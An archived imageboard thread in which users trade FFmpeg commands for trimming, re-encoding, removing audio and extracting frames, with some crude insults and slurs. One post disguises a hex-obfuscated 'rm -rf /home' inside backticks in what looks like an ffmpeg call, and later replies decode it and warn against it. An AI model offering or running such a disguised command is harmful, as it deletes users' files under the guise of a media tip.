Thread 105820878 - /g/ [Archived: 545 hours ago]

Anonymous
7/6/2025, 10:53:44 PM No.105820878
1742762756069755
1742762756069755
md5: 16fa595e2898f3897c0989c45c6a241d🔍
FFmpeg commands you use most
Replies: >>105820911 >>105820938 >>105821001 >>105821060 >>105821381 >>105821812 >>105822019 >>105823486 >>105823599 >>105823813 >>105824282 >>105825960 >>105832562 >>105833491 >>105835222 >>105836101 >>105838782
Anonymous
7/6/2025, 10:57:04 PM No.105820911
>>105820878 (OP)
-h
Replies: >>105821809
Anonymous
7/6/2025, 11:00:03 PM No.105820938
>>105820878 (OP)
ffmpeg -i input.mp4 -c copy -an output.mp4

for removing audio for /pol/ webm's
Replies: >>105820964 >>105824846 >>105825724 >>105825724
Anonymous
7/6/2025, 11:02:10 PM No.105820964
>>105820938
dissasemble the jargon, what each word does?
Replies: >>105820989 >>105835725
Anonymous
7/6/2025, 11:02:18 PM No.105820966
Most used:
>ffmpeg -i input.mp4 -c copy output.mkv

Mose useful:
>ffmpeg -i input.mp4 -ss 00:00:30 -t 30 -c copy output.mp4
Anonymous
7/6/2025, 11:05:03 PM No.105820989
>>105820964
-i = goes before input file
input.mp4 - input file
-c copy - copy all streams/codecs to output
-an - exclude audio streams/codecs
output.mp4 - file to output
Replies: >>105821012 >>105825883
Anonymous
7/6/2025, 11:06:10 PM No.105821001
>>105820878 (OP)
ffmpeg -i input.mp4 '%04d.png'

save all video frames as images
Replies: >>105821037
Anonymous
7/6/2025, 11:07:05 PM No.105821012
>>105820989
thank you, more digestable that you explained it to me
Anonymous
7/6/2025, 11:09:59 PM No.105821037
>>105821001
Why do you need all video frames?
Replies: >>105823703 >>105827240
Anonymous
7/6/2025, 11:12:22 PM No.105821060
dirt2_pres2
dirt2_pres2
md5: 317ab619213fa9a4cb8305a0c9000149🔍
>>105820878 (OP)
md "%~dp1png"
T:/Recordings/ffmpeg.exe -i %1 -vf select="between(n\,STARTFRAME#\,ENDFRAME#),setpts=PTS-STARTPTS, fps=50/3" -vcodec png -an "%~dp1png\%~n1 %%04d.png"

pause

I use this to dump clips into png with frame precision at a frame rate that's more gif friendly (it's for my neocities). Drag and drop then spits them into an output folder with filenames in sequence up to 4 digits. I'm stupid with ffmpeg and cobbled together shit I found on google, if anyone wants to improve on it feel free to.
Replies: >>105821191 >>105821284 >>105821344 >>105836790
Anonymous
7/6/2025, 11:24:33 PM No.105821191
>>105821060
You should consider adding ffmpeg to your path.
I just have a C:/bins where I stuff all my exe's.
Replies: >>105821269
Anonymous
7/6/2025, 11:31:22 PM No.105821269
>>105821191
You mean change
T:/Recordings/ffmpeg.exe
to just
ffmpeg?
Replies: >>105829982
Anonymous
7/6/2025, 11:33:05 PM No.105821284
>>105821060
disasemble the syntax
Anonymous
7/6/2025, 11:39:32 PM No.105821344
>>105821060
@echo off
setlocal enabledelayedexpansion

:: -------------------------------
:: Configuration
:: -------------------------------
set "FFMPEG_PATH=T:\Recordings\ffmpeg.exe"
set "FPS=50/3"
set "START_FRAME=STARTFRAME#" :: Replace with actual start frame number
set "END_FRAME=ENDFRAME#" :: Replace with actual end frame number

:: -------------------------------
:: Input Validation
:: -------------------------------
if "%~1"=="" (
echo [ERROR] No input file provided.
echo Usage: %~nx0 input_video
exit /b 1
)

if not exist "%~1" (
echo [ERROR] Input file "%~1" does not exist.
exit /b 1
)

if not exist "%FFMPEG_PATH%" (
echo [ERROR] ffmpeg not found at "%FFMPEG_PATH%"
exit /b 1
)

:: -------------------------------
:: Prepare Output Directory
:: -------------------------------
set "INPUT_FILE=%~1"
set "INPUT_DIR=%~dp1"
set "INPUT_NAME=%~n1"
set "OUTPUT_DIR=%INPUT_DIR%png"

if not exist "%OUTPUT_DIR%" (
mkdir "%OUTPUT_DIR%"
)

:: -------------------------------
:: Run ffmpeg to extract frames
:: -------------------------------
echo [INFO] Extracting frames from "%INPUT_FILE%"...
"%FFMPEG_PATH%" -i "%INPUT_FILE%" ^
-vf "select='between(n\,%START_FRAME%\,%END_FRAME%)',setpts=PTS-STARTPTS,fps=%FPS%" ^
-vcodec png -an "%OUTPUT_DIR%\%INPUT_NAME% %%04d.png"

if errorlevel 1 (
echo [ERROR] ffmpeg failed to extract frames.
exit /b 1
)

echo [SUCCESS] Frames saved to "%OUTPUT_DIR%"
pause
endlocal
Replies: >>105822038 >>105825938
Anonymous
7/6/2025, 11:40:49 PM No.105821361
discord clip 10MB
start=<s> duration=<d> bitrate=$((81920 / $duration - 96)) && ffmpeg -ss $start -i input.mp4 -vf "scale=1920:1080" -c:v libx265 -b:v $(($bitrate))k -maxrate $(($bitrate + 1000))k -bufsize 30M -b:a 96k -t $duration output.mp4
Anonymous
7/6/2025, 11:43:05 PM No.105821381
>>105820878 (OP)
Wouldn't know, I just drag and drop files into a GUI and get what I need done quicker than you.
Replies: >>105821604
Anonymous
7/7/2025, 12:09:11 AM No.105821604
>>105821381 If you only knew how efficient are me methods, familia...
Anonymous
7/7/2025, 12:39:49 AM No.105821809
>>105820911
fpbp
Anonymous
7/7/2025, 12:40:24 AM No.105821812
>>105820878 (OP)
I literally copy paste all of them from ChatGPT
Anonymous
7/7/2025, 12:43:27 AM No.105821838
-map
I remux a lot of movies into my native language that have poor video quality
Anonymous
7/7/2025, 12:46:17 AM No.105821859
ffmpeg -i video.mkv -pass 1 -b:v 1M -pix_fmt yuv420p video.webm
ffmpeg -i video.mkv -pass 2 -b:v 1M -pix_fmt yuv420p video.webm
Anonymous
7/7/2025, 12:49:37 AM No.105821884
ffmpeg -i in.mp3 -transform "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`" out.mp3
Replies: >>105821928 >>105822032 >>105823814 >>105823941
Anonymous
7/7/2025, 12:54:52 AM No.105821928
>>105821884
???
Anonymous
7/7/2025, 1:07:54 AM No.105822019
>>105820878 (OP)
clip something with subtitles and 2pass, needs fiddling with bitrate. I really shoud make this into an alias/function
ffmpeg -ss 21:34.335 -to 21:35.169 -copyts -i "in.mkv" -ss 21:34.335 -vf "subtitles=in.mkv" -ac 2 -c:v vp9 -row-mt 1 -b:v 300KiB -pass 1 -sn -dn -f null /dev/null &&
ffmpeg -y -ss 21:34.335 -to 21:35.169 -copyts -i "in.mkv" -ss 21:34.335 -vf "subtitles=in.mkv" -ac 2 -c:v vp9 -row-mt 1 -b:v 300KiB -pass 2 -sn -dn "out.webm"
Anonymous
7/7/2025, 1:09:31 AM No.105822032
>>105821884
DO NOT RUN THIS

NERVE GAS ALERT
Anonymous
7/7/2025, 1:10:14 AM No.105822038
>>105821344
Thanks I'll play around with this
Anonymous
7/7/2025, 5:08:11 AM No.105823486
>>105820878 (OP)
i use gui
Anonymous
7/7/2025, 5:30:29 AM No.105823599
>>105820878 (OP)
-c:a copy -c:v copy
Anonymous
7/7/2025, 5:48:26 AM No.105823703
>>105821037
to get around blocks when spamming pizza, of course
Anonymous
7/7/2025, 6:10:06 AM No.105823809
-af loudnorm=print_format=json
Anonymous
7/7/2025, 6:11:13 AM No.105823813
>>105820878 (OP)
ffmpeg -i Source.mp4 -c:v copy -c:a aac -b:a 896k -ac 6 Output.mp4
>Re-encode audio only from Dolby or DTS to high bitrate aac
>Why?: Because AAC is more efficient for local network streaming with no loss to quality when configured properly
Anonymous
7/7/2025, 6:12:00 AM No.105823814
>>105821884
>ffmpeg -i in.mp3 -transform "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`" out.mp3


fourty keks
Replies: >>105824036
Anonymous
7/7/2025, 6:17:43 AM No.105823838
I have a 35 second 15MB mp4 video and I want to turn it into a no audio 4chan size compatible webm to share on 4chan. Does anyone have anyommands for ffmpeg to do this and get it to the right size or something i command line i can edit the qualiy number down to until I can get it down to size or is there some other wizardry you guys use to get really long videos to the max file size limit? It's a vertical video if it helps. I know I've seen some 1 minute webms all under 4MB. Always wondered how it was done, what commands were used. Usually I use cloud convert and just edit the crc quality value and repeat encode until I get it under the file size limit.
Replies: >>105823878 >>105824909 >>105825454
Anonymous
7/7/2025, 6:25:54 AM No.105823878
>>105823838
To be totally honest dude, I dont use ffmpeg for stuff like this.
I just use submit the video to https://8mb.video/
and download the compressed version
Replies: >>105825883
Anonymous
7/7/2025, 6:34:38 AM No.105823941
pm46nl417pz11
pm46nl417pz11
md5: fb64bd725a96e2ba132cdde9520bc712🔍
>>105821884
Anonymous
7/7/2025, 6:50:47 AM No.105824036
>>105823814
What does it do?
Replies: >>105824064 >>105824081 >>105835029
Anonymous
7/7/2025, 6:54:16 AM No.105824064
>>105824036
nukes your system
Replies: >>105824070
Anonymous
7/7/2025, 6:55:32 AM No.105824070
>>105824064
Explain the comms
Replies: >>105824075
Anonymous
7/7/2025, 6:55:58 AM No.105824075
>>105824070
Google it
Anonymous
7/7/2025, 6:56:50 AM No.105824081
>>105824036
The portion:
$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'

Is inside of backticks and it literally translates via hexadecimal to:
rm -rf /home

Running this would literally delete everything inside of your home folder
Replies: >>105824126
Anonymous
7/7/2025, 7:03:39 AM No.105824126
>>105824081
Ooh so it's hex, also what the fuck, fuck you whoever made this.
Anonymous
7/7/2025, 7:36:12 AM No.105824282
1743239850726901
1743239850726901
md5: 94f9710dd373fe914afa5b605e04bb2c🔍
>>105820878 (OP)
>FFmpeg commands you
not this time motherfucker
Anonymous
7/7/2025, 8:53:05 AM No.105824671
chatgpt convert avi to mp4
Anonymous
7/7/2025, 9:21:45 AM No.105824825
For me it's usually...
ffmpeg -i input.mp4 -s 1920x1080 -c:a copy output.mp4

I download a lot of hentai animations off kemono and such, but many of them are 2560x1440 or 3840x2160. My monitor is 1920x1080, so I do not benefit from having them be hundreds of megabytes larger for a higher resolution.
Anonymous
7/7/2025, 9:28:48 AM No.105824846
>>105820938
>for /pol/ webms
you HAVE to go back
Replies: >>105825883
Anonymous
7/7/2025, 9:36:10 AM No.105824878
2pass encode to a specified file size. Useful to fit any video into certain size constraints.
It's a batch script with a few prompts: from/to timestamps, output size. Calculate the desired bitrate, accounting for audio. If the resulting bitrate is too low, downscale and even decrease frame rate (60 to 30). After all flags are set, run 2pass.
Replies: >>105824909
Anonymous
7/7/2025, 9:44:17 AM No.105824909
>>105823838
Refer to my post >>105824878 Cant post the code right now, just ask chatgpt.
Bitrate = needed size / duration
My duration can be To minus From, but if that's omitted ffprobe is run and its output is parsed to get the total duration of the clip. Chatgpt will do it for you.
Replies: >>105825883
Anonymous
7/7/2025, 11:28:16 AM No.105825454
>>105823838
Since 4chan accepts mp4 now you can use (AUDIO):
start=<s> duration=<d> bias=<b> bitrate=$((32768 / $duration + $bias)) && ffmpeg -ss $start -i 218.mp4 -c:v libx264 -b:v $(($bitrate))k -maxrate $(($bitrate + 1000))k -bufsize 30M -b:a 96k -t $duration output.mp4

(NO AUDIO)
start=<s> duration=<d> bias=<b> bitrate=$((32768 / $duration + $bias)) && ffmpeg -ss $start -i input.mp4 -c:v libx264 -b:v $(($bitrate))k -maxrate $(($bitrate + 1000))k -bufsize 30M -an -t $duration output.mp4

make the bias slightly smaller (e.g -100) if it exceeds the 4MB limit
Replies: >>105825466 >>105829644
Anonymous
7/7/2025, 11:30:00 AM No.105825466
>>105825454
>218.mp4 as input in the first one
forgot to change this to input.mp4
Replies: >>105825883
Anonymous
7/7/2025, 12:25:47 PM No.105825724
>>105820938
>>105820938
I have this function in zsh config
removeaudio() {
if [ $# -eq 0 ]; then
echo "Usage: removeaudio input_video.mp4 [output_video.mp4]"
return 1
fi

input="$1"
output="${2:-${input%.*}_no_audio.${input##*.}}"

ffmpeg -i "$input" -c:v copy -an "$output"
echo "Audio removed! Output: $output"
}
Which lets me just type removeaudio file.mp4 and do it.
Replies: >>105825883 >>105827153
Anonymous
7/7/2025, 12:53:42 PM No.105825883
>>105825724
>>105825466
>>105824909
>>105824846
>>105823878
>>105820989
Go back, retarded newfag
Replies: >>105825910 >>105825995 >>105827051 >>105835732
Anonymous
7/7/2025, 12:57:57 PM No.105825910
>>105825883
cry more
Replies: >>105825968
Anonymous
7/7/2025, 12:59:10 PM No.105825918
I didn't know about -c copy.
lmao
Replies: >>105826267
Anonymous
7/7/2025, 1:01:40 PM No.105825938
>>105821344
whats the point of this this could like genrealte tons of picturs if the video is long
Replies: >>105836790
Anonymous
7/7/2025, 1:04:44 PM No.105825960
>>105820878 (OP)
ffmpeg - i input.ext -f wav -bitexact -
Anonymous
7/7/2025, 1:05:38 PM No.105825968
>>105825910
>retarded newfag is self projecting

every time
Anonymous
7/7/2025, 1:08:38 PM No.105825995
>>105825883
sooky bitch
Anonymous
7/7/2025, 1:53:36 PM No.105826267
>>105825918
bro...
Anonymous
7/7/2025, 3:49:01 PM No.105827051
>>105825883
>reply all
how lonely are you? seeking (You)'s like this
Anonymous
7/7/2025, 3:50:38 PM No.105827065
Anonymooses, if you post comm, explain it step by step.
Replies: >>105827153
Anonymous
7/7/2025, 4:01:50 PM No.105827153
>>105825724
>>105827065

This is a bash shell function that removes audio from video files using ffmpeg

if [ $# -eq 0 ]; then
echo "Usage: removeaudio input_video.mp4 [output_video.mp4]"
return 1
fi


- `$#` counts the number of arguments passed to the function
- If no arguments are provided (`-eq 0`), it displays usage instructions and exits with error code 1

input="$1"
output="${2:-${input%.*}_no_audio.${input##*.}}"


- `input="$1"` assigns the first argument (input video file) to the `input` variable
- The `output` line uses bash parameter expansion:
- `${2:-...}` means "use the second argument if provided, otherwise use the default value"
- `${input%.*}` removes the file extension from the input filename
- `${input##*.}` extracts just the file extension
- So if no output name is given, it creates one like `original_no_audio.mp4`

ffmpeg -i "$input" -c:v copy -an "$output"


- `-i "$input"` specifies the input file
- `-c:v copy` copies the video stream without re-encoding (faster)
- `-an` removes all audio streams
- `"$output"` specifies the output file

removeaudio() {
if [ $# -eq 0 ]; then
echo "Usage: removeaudio input_video.mp4 [output_video.mp4]"
return 1
fi

input="$1"
output="${2:-${input%.*}_no_audio.${input##*.}}"

ffmpeg -i "$input" -c:v copy -an "$output"

echo "Audio removed! Output: $output"
}
Replies: >>105827199
Anonymous
7/7/2025, 4:06:49 PM No.105827199
>>105827153
Thank you so much, you are setting a new high standard for this board. Godspeed.
Anonymous
7/7/2025, 4:11:00 PM No.105827240
>>105821037
looking for missed cheese?
Replies: >>105827243
Anonymous
7/7/2025, 4:11:33 PM No.105827243
>>105827240
Die off
Replies: >>105827268
Anonymous
7/7/2025, 4:14:58 PM No.105827268
1738091226384569
1738091226384569
md5: 2f51d2fe53d69dcafb1c7449e3fe734e🔍
>>105827243
YWNBAB (you will never be a barneyfag)
Anonymous
7/7/2025, 5:31:21 PM No.105827849
ffmpeg-normalize
it's kinda great when you got a slew of porn on a playlist and you'd like them all at same volume.
Anonymous
7/7/2025, 8:50:03 PM No.105829644
>>105825454
>encoding anything in H264 when VP9 is supported
>b-but my CPU is a slow piece of shit
-c:v libsvt_vp9
https://wiki.x266.mov/docs/encoders/SVT-VP9
Anonymous
7/7/2025, 9:25:26 PM No.105829982
>>105821269
you would need to add ffmpeg to your path in order to make that change to your command
Anonymous
7/7/2025, 11:59:54 PM No.105831467
ffmpeg -fflags nobuffer -f u8 -ac 2 -ar 44100 -i anything.exe -filter_complex "[0:a]avectorscope=mode=lissajous_xy:mirror=y:draw=line:rc=30:gc=160:bc=40:af=50:size=1080x1080:rate=30:zoom=1[v];color=black:rate=30,format=rgb24[c];[c][v]scale2ref[c][i];[c][i]overlay=format=yuv420:shortest=1[v]" -map "[v]" -map "0:a" -aspect 1 -crf 23 -c:v libx264 -movflags isml+frag_keyframe anything.mp4
Replies: >>105832529
Anonymous
7/8/2025, 2:13:47 AM No.105832529
>>105831467
post it
Anonymous
7/8/2025, 2:18:19 AM No.105832562
>>105820878 (OP)
ffmpeg --help
Anonymous
7/8/2025, 2:34:01 AM No.105832677
ffmpeg -nostdin -f v4l2 -framerate 30 -video_size 1280x720
-i /dev/video33 -c:v h264_v4l2m2m -pix_fmt yuv420p -b:v 1M
-f segment -reset_timestamps 1 -segment_time 1800 -segment_format mkv
-segment_atclocktime 1 -strftime 1
%Y%m%dT%H%M%S.mkv


can someone make this command use less cpu? i like that it kinda doesnt use much memory but its killing my cpu
Replies: >>105832720 >>105834139
Anonymous
7/8/2025, 2:39:32 AM No.105832720
>>105832677
cpulimit -l 50 -e ffmpeg after you execute that. Note that I didn't actually bother testing this so I have no idea how well it will play with continuously being SIGSTOP - SIGCONT'ed
Anonymous
7/8/2025, 4:31:37 AM No.105833491
bob&#039;s burgers logan bush Louise belcher
bob&#039;s burgers logan bush Louise belcher
md5: fe4b3472118dc96a8a1243bd12e7eda6🔍
>>105820878 (OP)
ffmpeg -i "MauLer-EFAP #345 - Jurassic World: Rebirth - So preoccupied w⧸ whether you could, you didn't stop to think-EtCkn2DJwF4.m4a.part" -c copy -metadata artist="Mauler" -metadata title="EFAP #345 - Jurassic World: Rebirth - So preoccupied w/ whether you could, you didn't stop to think" "Mauler - EFAP #345.m4a"
Anonymous
7/8/2025, 6:05:17 AM No.105834139
>>105832677
>h264_v4l2m2m
Are you using a raspberry pi? is your webcam h264 or mjpeg?
post summary off v4l2-ctl -d /dev/video33 and v4l2-ctl -d /dev/video33 --list-formats-ext

if you're decoding 720p@30fps mjpeg that will suck up a fair bit of cpu if you're not using a hw decoder.
Replies: >>105836587
Anonymous
7/8/2025, 8:30:44 AM No.105835029
>>105824036
>idiots still can't intuit "rm -rf" gotchas the moment they see them
Replies: >>105835642
Anonymous
7/8/2025, 8:55:23 AM No.105835222
>>105820878 (OP)
ffmpeg -i live_action turtleman.mp4
Replies: >>105835487
Anonymous
7/8/2025, 9:38:36 AM No.105835487
>>105835222
ffmpeg -i cp_girlonfire.avi
Anonymous
7/8/2025, 10:09:00 AM No.105835642
>>105835029
Nigger, i dont speak trannish
Replies: >>105835718
Anonymous
7/8/2025, 10:17:07 AM No.105835698
2c5f194ce341aa8284c0a50d2a88736e
2c5f194ce341aa8284c0a50d2a88736e
md5: 2c5f194ce341aa8284c0a50d2a88736e🔍
ffmpeg -i INPUT -map 0:v? -map 0:a:m:language:eng -map 0:s? -map 0:t? -c copy OUTPUT

Removes non-english languages, great for film rips. Switch eng to jpn to remove dubshit from anime.
Anonymous
7/8/2025, 10:20:40 AM No.105835718
>>105835642
that probably sounded cooler in your head
Anonymous
7/8/2025, 10:21:13 AM No.105835725
>>105820964
>what each word does?
Indian
Anonymous
7/8/2025, 10:22:22 AM No.105835732
>>105825883
>/pol/ user
>newfag
You are by definition a newfag since you came here for politics instead of anime titties. r/the_donald may not exist anymore but r/conservative is the exact same. Please go back.
Replies: >>105836578
Anonymous
7/8/2025, 11:29:26 AM No.105836101
>>105820878 (OP)
yuv4mpeg so that I could feed it into my compile of SVT-AV1
Anonymous
7/8/2025, 12:56:18 PM No.105836578
>>105835732
kill yourself instead of spamming your schizo babble, retarded newfag
Replies: >>105836732
Anonymous
7/8/2025, 12:57:57 PM No.105836587
>>105834139
yeah, its outputting mjpegs at 30fps at that resolution, the /dev/video33 is just a mirror of /dev/video0
Replies: >>105838284
Anonymous
7/8/2025, 1:25:04 PM No.105836732
>>105836578
>gets epically destroyed by facts and logic
>only response is to tell them to die
Pathetic.
Anonymous
7/8/2025, 1:34:10 PM No.105836790
>>105825938
Ask this dude >>105821060 it's his idea.
Anonymous
7/8/2025, 5:08:11 PM No.105838284
>>105836587
Yeah, maybe check if your device has a jpeg hardware decoder. They are present in some raspberry pis, like the 4 and zero. If ffmpeg can't do it maybe gstreamer can. Or maybe drop the framerate on the camera to 15 or 20 fps.
Replies: >>105838591
Anonymous
7/8/2025, 5:12:30 PM No.105838320
is vp9 encoding really that much better than vp8 for posting webms here?
Anonymous
7/8/2025, 5:38:49 PM No.105838591
>>105838284
it has h264 i think thats why i used that flag right?
Anonymous
7/8/2025, 5:43:39 PM No.105838635
What other cool stuff can I do with ffmpeg besides removing my home folder?
Anonymous
7/8/2025, 5:54:37 PM No.105838782
>>105820878 (OP)
I already have a webm script that does everything I want automatically so I don't really "use" ffmpeg commands